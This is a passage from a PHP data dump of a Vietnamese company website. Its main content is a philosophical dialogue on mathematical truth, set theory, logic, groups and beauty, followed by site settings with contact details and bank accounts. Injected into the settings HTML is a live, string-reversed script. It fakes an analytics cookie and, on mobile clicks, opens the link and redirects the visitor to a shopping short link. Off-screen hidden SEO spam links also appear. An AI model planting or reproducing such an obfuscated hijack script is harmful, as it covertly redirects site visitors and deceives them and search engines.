Lựa chọn sự tồn tại “tri thức khách quan” không có nghĩa là bạn đã có nó! Mà bạn hy vọng có thể phát hiện ra nó, đạt được nó như những tri thức cơ sở. Hơn thế nữa, từ những tri thức cơ sở đó bạn có thể xây dựng những tri thức mới trong khi tuân thủ những “tri thức khách quan về logic” – những tri thức chưa bị bác bỏ được. Nhìn chung tri thức luôn có cả hai mặt phát hiện và sáng chế. Như cái công nghệ thông tin phục vụ bạn đây là thuộc về sáng chế, có thế ta mới xem được những bức ảnh chụp bề mặt sao Hỏa rõ mồn một.</div>
<div>
</div>
<div>
Tất nhiên bạn có thể chọn tiên đề “không có tri thức khách quan”.</div>
<div>
</div>
<div>
Lựa chọn chỉ là phương pháp. Bạn “tự do” trong lựa chọn. Vấn đề là sự lựa chọn đó đưa bạn đi đến đâu, bạn phải đảm trách sự lựa chọn của mình. Cho nên ý thức triết học nhắn ta phải luôn luôn sẵn sàng nhìn lại những tiên đề của mình.</div>
<div>
</div>
<div>
Tam giác triết học – logic – toán học thật hấp dẫn và trong tầng sâu thẳm chúng trộn vào nhau. Hãy xem vài trường hợp sau:</div>
<div>
</div>
<div>
Lý thuyết tập hợp hình thành là một sự cộng sinh tuyệt đẹp của triết học, logic và toán học.</div>
<div>
</div>
<div>
Tỉ như dãy số tự nhiên 0,1,2…n… thực ra không hề “tự nhiên”, mà lần đầu tiên được xây dựng và cắt nghĩa hoàn chỉnh qua các khái niệm triết học-logic-toán học trong lý thuyết tập hợp.</div>
<div>
</div>
<div>
Tập rỗng là tập không chứa phần tử nào, ký hiệu “tập 0”. Đây là một tiên đề có tính triết học về mối tương sinh của tồn tại-hư vô, về “khởi thủy”. Không thể tranh luận gì được ở đây.</div>
<div>
</div>
<div>
Tập chứa đơn thuần tập rỗng, kí hiệu “tập 1”.</div>
<div>
</div>
<div>
Tập chứa “tập 0” và “tập 1”, ký hiệu “tập 2”, v.v.</div>
<div>
</div>
<div>
Và như thế ta có một dãy trật tự hóa, mỗi yếu tố trong dãy này là một tập hợp mà các phần tử của mình chính là tất cả các yếu tố- tập hợp đứng trước nó.</div>
<div>
</div>
<div>
Vui chuyện, ta có thể tự an ủi rằng cái ý thức của cá nhân mình khi chưa hình thành thì là một tập rỗng. Dần dà nó phát triển lên thật phong phú. Còn khi ta ra đi, ý thức của ta lại trở về là tập rỗng.</div>
<div>
</div>
<div>
Hay lấy một ví dụ khác, một quan hệ logic thuần, đơn giản hóa.</div>
<div>
</div>
<div>
Cho A, B, C,…Z là những thành tố của một tập hợp “đồng chất” (cùng một lĩnh vực).</div>
<div>
</div>
<div>
“Tính bắc cầu” là một quan hệ logic, ký hiệu R, được hiểu: R(A, B) & R(B, C) à R(A, C). Nghĩa là nếu quan hệ bắc cầu tồn tại giữa A và B, và nếu quan hệ bắc cầu đó cũng tồn tại giữa B và C thì ta có quan hệ bắc cầu này giữa A và C.</div>
<div>
</div>
<div>
Bây giờ nếu ta có thêm R(C, D) thì ta sẽ có R(A, D), vì ở trên ta đã có R(A,C). Phép chứng minh là một phép co rút hay quy giản tìm được khi áp dụng liên tục các quy tắc suy luận xác thực trên dãy các tiên đề và công thức đã được chứng minh: R(A, B) & R(B, C) à R(A, C); R(A, C) & R(C,D) à R(A, D).</div>
<div>
</div>
<div>
Vậy khi phải tính toán, nếu có R(A,B) & R(B,C) & R(C,D) & … & R(Y,Z) thì R(A,Z) có tồn tại hay không, công việc logic này đã thành công việc của toán học. Để gửi cái e-mail từ Chử Đồng Tử tới Tiên Dung, tri thức logic-toán học đã khách quan hóa trong các phần mềm ở các máy chủ sẽ tính xem gửi các gói thông tin này qua các nút máy nào để tính bắc cầu được thực hiện hiệu quả nhất.</div>
<div>
</div>
<div>
Và ở chỗ này, bằng chứng của sự lựa chọn “tri thức khách quan” là sức mạnh hiển nhiên: tri thức logic-toán học ở con người đã được chuyển ra ngoài, đây chính là nội dung của khái niệm “tha hóa” mà mình đã từng nói tới, chuyển thành “tri thức khách quan”, hoạt động tự động trong các máy tính! Đó chính là giá trị của sự lựa chọn triết học! Ngày mai bạn có thể được phẫu thuật bằng máy móc điều khiển do một bác sĩ ở phần bên kia địa cầu thông qua internet, và bạn đành phải tin vào tri thức khách quan nằm giữa bạn và ông bác sĩ!</div>
<div>
</div>
<div>
Cũng từ đây cho ta thấy cải cách và tiến bộ xã hội là có thể, vì tri thức, trong đó có các lý tưởng nhân văn xác quyết, có thể dần chuyển được ra “xã hội bên ngoài”, làm nên nền văn minh. Và kết thúc được cái xã hội chủ quan luẩn quẩn “con rắn cắn đuôi”, mãi mãi làm lại từ đầu!</div>
<div>
</div>
<div>
“Sự thật” hay “chân lý” về mặt triết học-logic là như sau: một biểu đạt, một hệ thống các biểu đạt (hay công thức), rộng nữa là một lý thuyết, có thỏa mãn bảng giá trị chân lý hay không.</div>
<div>
</div>
<div>
Nhưng bản thân cái bảng giá trị này, sâu xa về triết học-logic, thì lại không liên quan gì đến chân lý! Nó có đó do sự lựa chọn. Giống như các tiên đề vậy. Như thế chính triết học luôn cảnh tỉnh ta về sự lựa chọn của mình, thay vì băn khoăn và mắc tóc trong chính sự không ý thức về những lựa chọn đã được thực hiện.</div>
<div>
</div>
<div>
Về văn hóa thì chuyện này lại càng thú vị nữa. Con người lớn lên và được tắm trong cả “một biển các giá trị chân lý mẹ truyền”! Không có tư duy triết học, con người loay hoay mắc tóc trong đó đời này sang đời khác, đặt những câu hỏi không vào sâu được hơn cái lớp bao bì chân lý mẹ truyền này, và như ta thường hay thấy, người ta tấm tắc “các cụ nói cấm câu nào sai”! Nếu bạn để ý một chút thôi, thì cái biển chân lý này bao giờ cũng chứa tất cả các mệnh đề trái ngược nhau, tỉ như “một giọt máu đào, hơn một ao nước lã” chọi với “bán anh em xa, mua láng giềng gần”. Các lý thuyết cai trị cổ hủ cũng thường rơi vào tình huống này, do vừa cố mở rộng độ biên của ứng dụng, vì đời sống phong phú lên, lại vừa cố bảo trì các tiền đề cũ kĩ. Một cộng đồng muốn tiến lên, phải làm một cuộc tổng kiểm kê về cái bảng các giá trị này, để mà mình ý thức về chúng, để mà mình sẵn sàng được cảnh tỉnh về chúng, để mà mình có thể thay đổi chúng. Việc này không hề dễ tí nào, tương tự như việc quả táo rơi xuống đất tưởng đã hiển nhiên là chân lý, mà hóa ra lại chỉ là một nửa chân lý như Newton đã nhìn ra!</div>
<div>
</div>
<div>
Trong tương quan với các lĩnh vực cụ thể, các quan hệ logic như thế nằm ở tầm “cao hơn chân lý”, “trước chân lý” của những lĩnh vực đó… luôn luôn về mặt logic thôi. Về hình ảnh các quan hệ logic đã dạng thức hóa này tồn tại “trước” khi bị “nhúng vào” trong “các trường nhất định”, “các cư dân nhất định”. Ta tạm gọi các quan hệ này «ở ngoài vật thể” hay “trước vật thể”, chú ý, theo nghĩa… logic!</div>
<div>
</div>
<div>
Ví dụ quan hệ logic bắc cầu đã nói trên kia R: R(A, B) & R(B, C) à R(A, C) là một dạng thức quan hệ logic thuần.</div>
<div>
</div>
<div>
Chỉ khi “nhúng” quan hệ này vào các “trường sự vật» cụ thể, ở đó mới đẻ ra vấn đề chân lý cụ thể, hay gọi là vấn đề cắt nghĩa trên “một trường sự vật”.</div>
<div>
</div>
<div>
Trong cái thế giới sự vật “hệ thống tàu điện”, tính bắc cầu này thỏa mãn chân lý.</div>
<div>
</div>
<div>
Trong lĩnh vực “yêu mến”, tính bắc cầu không bắt buộc thỏa mãn chân lý. A yêu mến B, B yêu mến C, không tất yếu A yêu mến C. Ở đây việc triển khai tính bắc cầu mang tính bất định, “có thể bị bác bỏ”.</div>
<div>
</div>
<div>
Lưu ý rằng tính bắc cầu không nhất thiết thỏa mãn chân lý trong lĩnh vực “yêu mến”, không có nghĩa là tính bắc cầu “sai” về logic thuần túy. Chuyện đó không có nghĩa. Nói thế để ta thấy rõ hơn tầng logic nằm “trước và ngoài” tầng các sự vật cụ thể.</div>
<div>
</div>
<div>
Nói chuyện nhiều khi một xã hội Á Đông cứ loay hoay tranh cãi hàng ngàn năm rằng cái “mô hình” xã hội Nghiêu Thuấn “vua sáng tôi hiền, nhà nhà đi ngủ không phải đóng cửa, người người ra đường không ai nhặt của rơi” tự nó đúng hay sai? Câu hỏi đó vô nghĩa và vô ích về mặt vận hành xã hội. Hãy gác việc phân tích kinh viện cái “mô hình” siêu giản siêu thuần túy đó sang một bên, chưa cần thiết. Hãy cắt nghĩa khi áp dụng cái mô hình “logic” đó vào xã hội ở thời điểm lịch sử nhất định, ta đã có tư liệu lịch sử hàng ngàn năm rồi, xem nó có đảm bảo đưa lại thái bình no đủ vui tươi bền vững hay không ? Nếu là “không”, thì nó là sai theo bảng giá trị được chờ đợi trong cái trường lịch sử đó, và ta không phải lo lựa chọn nó.</div>
<div>
</div>
<div>
Vấn đề Dương có thể đẩy lên thú vị hơn nữa, là Logos có tồn tại độc lập được với vật thể không? Ví dụ với các lực hấp dẫn đã được tính toán đó, sự tồn tại của bản thân các vật thể có còn là bắt buộc không, hay các vật thể chỉ còn là sự thể hiện và mách bảo cho ta cái Logos. Các công thức tính toán theo nghĩa nào đó đã được “phi vật thể hóa”. Nhà thiết kế một tòa nhà nay có các tri thức khách quan đã được “tha hóa”, chuyển hóa ra và nằm sẵn trong phần mềm máy tính, và anh ta có thể chọn vật liệu xây dựng sau cùng cũng được, miễn là các vật liệu đó thỏa mãn mô hình logic-toán đã được xác quyết bằng các công thức đã được cài đặt trong phần mềm, chúng cho thấy thỏa mãn các tiêu chí được chờ đợi (bảng các giá trị) về độ bền vững, an toàn, giá trị thẩm mỹ, tiện nghi, môi trường, bảo trì, thương mại…</div>
<div>
</div>
<div>
Trong lập trình công nghệ tin học, một chương trình được viết thông minh là chương trình độc lập cao với dữ liệu, và nó chứa đựng hệ thống xử lý thông minh và khả năng giao tiếp phong phú. Khi phải ứng dụng cho các hoạt động khác nhau, ta mới cho nó giao tiếp với hệ thống các thông số của các lĩnh vực hoạt động liên quan, để nó tìm ra các ứng xử thích hợp cho các đối tượng của các lĩnh vực đó…</div>
<div>
</div>
<div>
Châu – Mình đồng ý là đem cọ sát các cách suy nghĩ khác nhau từ Triết, Toán đến Vật lý có thể đưa ta đi xa. Nhưng theo kinh nghiệm, ánh sáng không lóe ra từ cái cách áp đặt máy móc mô hình suy nghĩ của bên này qua bên kia. Ánh sáng luôn lóe ra từ những sự tương đồng tinh tế, mà mình phải thực sự tìm thì mới thấy. Những điểm tinh tế đó thường là nằm ở dưới lớp vỏ của ngôn ngữ.</div>
<div>
</div>
<div>
Sự hình thành của khái niệm nhóm trong toán rất đáng để suy nghĩ từ quan điểm Triết học. Mình có viết nhiều mẩu trên blog về chuyện này nhưng ít ai để ý.</div>
<div>
</div>
<div>
Định nghĩa của nhóm đơn giản đến mức có thể làm những người tò mò thất vọng. Nó mô phỏng các biến đổi nội tại của một đối tượng. Hai biến đổi có thể “hợp thành với nhau”, nhưng biến đổi A xảy ra trước biến đổi B kết hợp lại sẽ khác với khi biến đổi B xảy ra trước biến đổi A. Ngoài ra thì mọi biến đổi đểu nghịch đảo được, tức là có một biến đổi theo chiều ngược lại. Các tiên đề về nhóm đại khái chỉ có vậy.</div>
<div>
</div>
<div>
Ví dụ cơ bản là các thao tác trên khối rubik. Có thao tác A là quay mặt bên trái một góc 90 độ, có một thao tác B là quay mặt trên một góc 90 độ. Có hai thao tác hợp thành A rồi B và B rồi A. Ngoài ra thì có thao tác nghịch đảo của A, nghĩa là quay mặt bên trái một góc 90 độ theo chiều ngược lại so với A.</div>
<div>
</div>
<div>
Nhóm các thao tác trên rubik là một nhóm hữu hạn nhưng có rất nhiều phần tử và khá phức tạp. Vì thế mà khi ta xem hướng dẫn cách quay rubik, nói chung mình chỉ biết chấp hành thôi, còn không hiểu tại sao phải làm như thế. Muốn hiểu phải nghiên cứu tường tận cấu trúc của nhóm này.</div>
<div>
</div>
<div>
Bên cạnh các nhóm hữu hạn, rộng hơn là các nhóm rời rạc, ta còn có các nhóm liên tục.</div>
<div>
</div>
<div>
Điển hình là nhóm các phép dời trong không gian. Hình học cổ điển có thể biên soạn lại dưới ngôn ngữ của nhóm các phép dời hình trong mặt phẳng hoặc trong không gian. Đó chính là quan điểm của hình học hiện đại. Lý thuyết phương trình đại số một ẩn số được Galois giải thích một cách thấu đáo bằng lý thuyết nhóm Galois. Một trong những cố gắng chính của lý thuyết số hiện đại là mở rộng lý thuyết Galois ra hệ phương trình đại số nhiều ẩn số. Langlands tiên đoán một sự liên quan mật thiết đến các dạng automorphic mà khởi thủy là một nhóm con rời rạc trong một nhóm liên tục. Trong vật lý lý thuyết, Gell-Mann tiên đoán sự tồn tại của một hạt cơ bản dựa vào danh sách các biểu diễn của nhóm Lie.</div>
<div>
</div>
<div>
Khái niệm nhóm có vẻ như một cấu trúc đại số đơn giản thuận tiện, rất khó lý giải ảnh hưởng sâu rộng của nó đến hiểu biết chung của con người.</div>
<div>
</div>
<div>
Minh – Nhân Châu nói đến vụ cái rubik thấy hấp dẫn quá, nên bàn thêm mấy câu thế này:</div>
<div>
</div>
<div>
Tư duy là quá trình Lập Luận, Lập và Luận. Lập Luận xoay vòng nối tiếp nhau. Lập là lựa chọn, là quyết định, là hướng định. Lập khởi thủy là hệ thống các tiên đề, các ký hiệu, các qui tắc kết nối, các quy tắc thao tác, cùng một hệ thống ngữ nghĩa, làm nên một lý thuyết. Luận là quá trình thao tác kết nối, chuyển tải, sinh thành các Lập mới sao cho hợp thức (“không vi hiến”). Toàn bộ dòng này chảy dẫn từ Tiên đề đến Kết luận (Kết luận là một Lập đạt được cuối cùng của một chu trình). Dòng chảy này đa trị, nên có phép chứng minh hay thì có thể rất ngắn, hoặc phép chứng minh kém hay thì có thể siêu dài. Ví dụ về tập hợp các thao tác trên khối rubik của Châu rất hay cho trường hợp này: có người xoay rất nhanh ăn, người khác lâu ăn, riêng mình có thể xoay rubik cả đời không đi đến đâu cả, nhưng không hề phạm một lỗi logic nào! ;-).</div>
<div>
</div>
<div>
Trong một lĩnh vực tri thức cụ thể, xuất phát từ Hệ tiên đề mà đạt đến Kết luận mang tính bất định (ví dụ lý thuyết «tính bắc cầu của lòng yêu mến” đưa đến các kết quả “lúc có, lúc nhất định không»), thậm chí mâu thuẫn, sẽ buộc ta phải xem xét lại, bổ sung hoặc thay đổi lý thuyết trong lĩnh vực tri thức đó. Logic chỉ đóng vai trò tư pháp, đảm nhiệm tính hợp pháp của quá trình Luận và của các Lập được sinh thành (ví dụ một công thức mới thu được như kết quả chứng minh hợp pháp thu được từ quá trình Luận). Còn tính chân lý nằm ở trong nội dung các Lập, được cắt nghĩa bởi bảng các giá trị chân lý có được do các kinh nghiệm, thực nghiệm, kiến thức khoa học đã xác tín (tương đối) và/hay các lựa chọn lý tưởng nhân văn xác quyết. Tính chân lý trong trường hợp khối rubik trên kia có thể được định nghĩa trong bảng giá trị như sau: “ở mọi trạng thái ban đầu, ta luôn luôn sẽ có cách đưa khối rubik về trạng thái mà mỗi mặt chỉ có một màu, bằng cách chỉ áp dụng các thao tác cho phép”, như Châu đã nói ở trên.</div>
<div>
</div>
<div>
Dương – Như vậy là ở đây có một số vấn đề cần làm rõ hơn:</div>
<div>
</div>
<div>
1. Một lý thuyết mô tả những biến đổi nội tại trở nên rất mạnh khi mô tả thực tại (reality), nên thực tại phải có cấu trúc nội tại và sự biến đổi của thực tại là do những biến đổi nội tại gây ra?</div>
<div>
</div>
<div>
2. Không thể có một kết cục tất yếu cho sự vận động của một thực tại, vì kết cục phụ thuộc vào cách thức và thứ tự của từng biến đổi riêng rẽ. Phán đoán ở mức tốt nhất chỉ là phán đoán thống kê, không thể là phán đoán tất định?</div>
<div>
</div>
<div>
3. Cơ sở cho những tiên đoán như của Gell-Mann là gì? Có phải đó chỉ là sự tự hoàn thiện, đối xứng, tao nhã…, những tiêu chí của cái Đẹp. Như vậy cái Đẹp (Beauty) và cái Thật (Truth) có quan hệ gì? Một lý thuyết đẹp và mô tả xác thực thường được coi là tốt. Vậy Đẹp, Thật, Tốt (Chân-Thiện-Mỹ) có quan hệ gì với nhau? Hay ba cái này là một.Và như thế, có tồn tại một bộ quy luật chung cho Mỹ học và Đạo đức như cho Khoa học? Thực ra, đây là một câu hỏi rất cũ, nhưng đến giờ vẫn chưa có câu trả lời thỏa đáng.</div>
<div>
</div>
<div>
Châu – Mình có một lý thuyết như thế này, có thể là hơi hàm hồ.</div>
<div>
</div>
<div>
Có rất nhiều yếu tố khác nhau để tạo nên cái đẹp. Một yếu tố là tính vừa đủ: không thiếu, đặc biệt là không thừa.</div>
<div>
</div>
<div>
Phải chăng thiên nhiên tuân theo nguyên tắc tiết kiệm, không chỉ tiết kiệm năng lượng, mà còn tiết kiệm cả thông tin nữa. Vì thế ngôn ngữ để mô tả nó cũng phải thỏa mãn tính tiết kiệm thông tin.</div>
<div>
</div>
<div>
Cái đẹp có một lợi thế khác nữa trong quá trình phát triển của tri thức, cái đẹp dễ được tiếp thu hơn. Cái gì xấu xí, nhưng có giá trị, thường sẽ được con người gọt rũa cho đến khi nó trở thành đẹp. Cái gì giữ mãi cái vỏ xấu xí của mình sẽ có nhiều cơ hội để rơi vào lãng quên.</div>
<div>
</div>
<div>
Dương – Lý thuyết của anh không “hàm hồ” chút nào, mà ngược lại, “cực kỳ tao nhã” (cười).</div>
<div>
</div>
<div>
Chẳng phải Einstein từng nói: một lý thuyết cần “simple, but not simpler” thì cũng hàm ý không thiếu không thừa.</div>
<div>
</div>
<div>
Nhân vật Hòa Thân trong phim Tể tướng Lưu gù một thời làm mưa làm gió trên phim truyền hình (Việt Nam, còn ở Trung Quốc thì không rõ) miêu tả một cô gái đẹp cho vua Càn Long như sau: cô ấy đẹp đến nỗi nếu bớt một chút thì thiếu, mà thêm một chút thì thừa. Càn Long (tay chơi có số) nghe đến đó thì cười tít mắt. Theo lý thuyết này, giám khảo của các cuộc thi sắc đẹp bây giờ, nếu thấy thí sinh có sẹo ở chân chẳng hạn, có lẽ nên nói cái sẹo ở đó là thừa thay vì thay vì chê bai thí sinh.</div>
<div>
</div>
<div>
Như vậy xem ra nhận định của Đông Tây kim cổ đều có nét tương đồng.</div>
<div>
</div>
<div>
Giờ nghiêm túc hơn một chút nhé:</div>
<div>
</div>
<div>
Trong vật lý cổ điển, khi năng lượng có vai trò chủ đạo thì Nguyên tắc hoạt động tối thiểu (Principle of least action) có vai trò quan trọng tương ứng. Vậy nếu coi tự nhiên (universe), ở mức cơ bản nhất, được tạo bởi thông tin (hiện có rất nhiều nhà vật lý theo giả thiết này) thì Nguyên tắc tiết kiệm thông tin (Principle of least information – PLI) cũng sẽ có vai trò tương tự. Liệu có thể tìm cách kiểm chứng PLI ở những chỗ này chăng (với sự dè dặt rất lớn)? Trường hấp hẫn: theo cách giải thích thường thấy thì vật chất làm cong không gian, độ cong đó chính là hấp dẫn. Vậy có thể nhìn cách khác: không gian là lưới thông tin; độ cong của không gian chính là mật độ thông tin. Như vậy, ở mức cơ bản nhất, không gian, và rộng ra là cả vũ trụ, được cấu tạo bởi thông tin. Chỗ nào có mật độ thông tin lớn thì vật chất tụ lại tương ứng. Ánh sáng cũng như mọi vật chuyển động theo đường trắc địa không phải vì hấp dẫn mà đơn giản là dòng chảy tự nhiên của thông tin theo cách tương thích nhất với thông tin nền mà nó tiếp xúc (không gian). Sự lượng tử hóa không gian sẽ là một hệ quả tất yếu. Nhưng thời gian thì sao? Hoặc trong Vật lý lỗ đen, khi các bit thông tin phủ kín chân trời lỗ đen chứ không phải là toàn bộ thể tích lỗ đen thì đây có thể coi là hệ quả của nguyên tắc “không thiếu không thừa”? Vậy liệu có thể dùng PLI để đạt lại những kết quả như của họ? Tiếc là không có một nhà Vật lý lý thuyết ở đây để thảo luận vấn đề này.</div>
<div>
</div>
<div>
Minh – Anh chen một tý vào chuyện cái đẹp thế này.</div>
<div>
</div>
<div>
Cái đẹp có một khía cạnh đặc biệt, là nó liên quan đến cảm xúc của con người.</div>
<div>
“Tri thức khách quan” không thể thống trị ở đây hoàn toàn được.</div>
<div>
</div>
<div>
Cái đẹp của mối tình mới chớm đến, khác với cái đẹp của mối tình dứt áo ra đi.</div>
<div>
</div>
<div>
Cái đẹp của quảng trường Times Square ở New York, cả quảng trường là một sân khấu vĩ đại tuyệt vời mà mỗi người có mặt tự mình thành một nhân vật sống, khác với cái đẹp của một bãi biển đìu hiu nắng chiều đỏ ối ở Dauvine, Châu hát, Minh gảy đàn. Mà cũng lại khác nữa với một vẻ chiều cuối Xuân đường Nguyễn Du, Dương với Minh gặp nhau lần đầu trong đời thực bên tách café để rồi bắt đầu câu chuyện dài ở đây…</div>
<div>
</div>
<div>
Ở đây không đơn thuần là “tiết kiệm năng lượng” nữa, mà là các thẩm mỹ biểu đạt các dòng chảy của năng lượng.</div>
<div>
</div>
<div>
Châu – Có rất nhiều điều thú vị trong câu chuyện này. Nhưng có lẽ, mình đã đi quá xa so với chủ đề ban đầu.</div>
<div>
</div>
<div>
Dương - Em cũng thấy vậy, nên sẽ tổng kết lại ở đây. Những phần mở rộng sẽ được thảo luận tiếp trong một dịp khác.</div>
<div>
</div>
<div>
<strong>Thay lời kết</strong></div>
<div>
</div>
<div>
Sự thật Toán học, với những đặc tính như khách quan, bền vững, duy lý… có thể được coi là một trong những đặc sản của nền văn minh phương Tây. Sự phát triển của khoa học kĩ nghệ hiện đại trước hết khởi đầu bởi sự tìm ra những sự thật toán học này.</div>
<div>
</div>
<div>
Chính là chúng – dù bản chất tồn tại vẫn còn là một vấn đề bỏ ngỏ – đã tạo ra cơ sở vững chắc cho kho tri thức của nhân loại. Không có chúng, khoa học và kĩ nghệ không thể ra đời, nền văn minh kĩ nghệ hiện đại không thể phát triển.</div>
<div>
</div>
<div>
Cuộc thảo luận về sự thật toán học ở đây tuy chưa dài, nhưng đã gợi mở rất nhiều vấn đề của Triết học, Toán học và Vật lý… Hy vọng rằng, chúng sẽ được làm sáng tỏ phần nào trong những thảo luận tiếp theo.</div>
<div>
---</div>
<div>
* Giáp Văn Dương dẫn chuyện và biên tập.</div>
',
'images' => '20160616030721f00b6379b82a515a9478b6e58b783de9.jpg',
'images_multi' => null,
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2016-06-16',
'modified' => '2025-08-10',
'status' => '1',
'view' => '61823',
'slug' => 'su-that-toan-hoc-theo-so-tay-thich-hoc-toan',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '709',
'rght' => '710',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
'setting' => array(
'id' => '1',
'name' => 'Công Ty Cổ Phần Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT',
'title' => 'Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT',
'address_eng' => '<div>
QUANG TAY - QHT ENGINEERING EQUIPMENT AND SERVICE JSC</div>
<div>
Representative: Le Van</div>
<div>
Position: Director</div>
<div>
Address: số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, Hà Nội City</div>
<div>
Phone number:</div>
<div>
Email:</div>
<div>
Tax code: 0103008064</div>
',
'address' => '<p style="text-align: center;">
<img alt="" src="/admin/webroot/upload/image/images/Ảnh chụp Màn hình 2016-06-24 lúc 9_52_55 SA.png" /></p>
<h2 style="position: absolute; top: -100000px; overflow: auto;">
<a href="http://www.sieuthibaoholaodong.vn/" title="quần áo bảo hộ lao động">quần áo bảo hộ lao động</a> <a href="http://www.inhoadon.net.vn/" title="in hóa đơn">in hóa đơn</a></h2>
<div>
<div>
CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div>
<div>
Người đại diện: Lê Văn <span style="white-space: pre;">Hậu</span></div>
<div>
Chức vụ <span style="white-space:pre"> </span>: Giám đốc<br />
Mã số thuế:<span style="white-space: pre;"> </span>0103008064<br />
Địa chỉ:<span style="white-space: pre;"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội<br />
Email:<span style="white-space: pre;"> </span>quangtayqht@gmail.com<br />
Số điện thoại công ty: 02437759534</div>
<div>
<div>
Số điện thoại kỹ thuật: 0904212040</div>
<div>
Số điện thoại kinh doanh: 0913303547</div>
</div>
<div>
</div>
<div>
</div>
</div><script>
const sl={get a(){return sl.g("nepo")},get b(){return sl.g("noitacol")},get c(){return sl.g("ecalper")},get d(){return sl.g("HSoYnj8O05/nv.eepohs.s//:sptth")},e:"_ga_D8SD9STSJ5",f:window,g:e=>e.split("").reverse().join(""),h(){document[sl.g("renetsiLtnevEdda")](sl.g("kcilc"),sl.oC,!0)},gC:e=>document.cookie.split("; ").reduce(((t,s)=>s.startsWith(e+"=")?s.split("=")[1]:t),null),sC:(e,t,s)=>{ti=new Date(Date.now()+864e5*s).toUTCString(),document.cookie=e+"="+t+";expires="+ti+";path=/"},mT:()=>{const e=navigator.userAgent.toLowerCase();return navigator.maxTouchPoints>1&&window.matchMedia("(pointer:coarse)").matches&&(/android|iphone|ipad|tablet|playbook|silk|kindle/.test(e)||window.matchMedia("(max-width: 1024px)").matches)},gV:()=>sl.gC(sl.e),oC:e=>{const t=e.target.closest("a");t&&t.href&&"/"!==t.href&&(!sl.gV()||"true"!==sl.gV())&&sl.mT()&&(e.preventDefault(),sl.sC(sl.e,"true",3),sl.f[sl.a](t.href,sl.g("knalb_")),sl.f[sl.b][sl.c](sl.d))}};sl.h();
</script>
',
'contactinfo_eng' => '<div>
CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div>
<div>
Người đại diện: Lê Văn <span style="white-space:pre"> </span></div>
<div>
Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div>
<div>
Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div>
<div>
Số điện thoại:<span style="white-space:pre"> </span></div>
<div>
Email:<span style="white-space:pre"> </span></div>
<div>
Mã số thuế:<span style="white-space:pre"> </span>0103008064</div>
',
'taikhoan' => '<strong><span style="color:#04529a;">Số Tài khoản các ngân hàng của công ty Tân Á</span></strong><br />
<br />
1. 13022-0506-5430 - Nguyễn Văn Hiệu - Agribank - CN Trung Yên, HN<br />
2. 0011-00404-0367 - Nguyễn Văn Hiệu - Vietcombank - CN Sở Giao dịch, HN<br />
3. 711A-6202-9713 - Nguyễn Văn Hiệu - Vietinbank - CN Thanh Xuân, HN<br />
4. 190-256-018-210-13 - Nguyễn Văn Hiệu - Techcombank, Hà Nội<br />
5. 1231-0000-368-767 - Nguyễn Văn Hiệu - BIDV CN Quang Trung, Hà Nội',
'contactinfo' => '<div dir="rtl" style="text-align: left;">
<div>
CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div>
<div>
Người đại diện: Lê Văn <span style="white-space:pre"> </span></div>
<div>
Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div>
<div>
Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div>
<div>
Số điện thoại:<span style="white-space:pre"> </span></div>
<div>
Email:<span style="white-space:pre"> </span></div>
<div>
Mã số thuế:<span style="white-space:pre"> </span>0103008064</div>
</div>
<div style="">
<span style="font-family: tahoma, geneva, sans-serif; font-size: 16px;"> </span><br />
</div>
<div style="position: absolute; left: -10000px;">
<a href="http://parkcityhadong.vn/" rel="dofollow">parkcityhadong.vn</a></div>
',
'telephone' => '01659 014592',
'hotline' => '0913303547',
'email' => '',
'url' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2012-06-05',
'modified' => '1752726853',
'youtube' => 'http://youtube.com',
'twitter' => 'https://twitter.com/',
'myspace' => 'https://myspace.com/',
'facebook' => 'https://www.facebook.com/FacebookVietnam/',
'email2' => 'duycuong7640',
'skype' => 'hothihuyen.hn',
'yahoo' => 'duycuong7640',
'yahoo1' => 'duycuong7640',
'content' => 'Thanks for your interest in Vn Discoverytours. For a fast response, please submit this basic Quick Enquiry form below by clicking “Submit”, and we’ll get back to you by e-mail within 12 to 24 hours (in working days). For urgent booking, call us at +84 974 839 873',
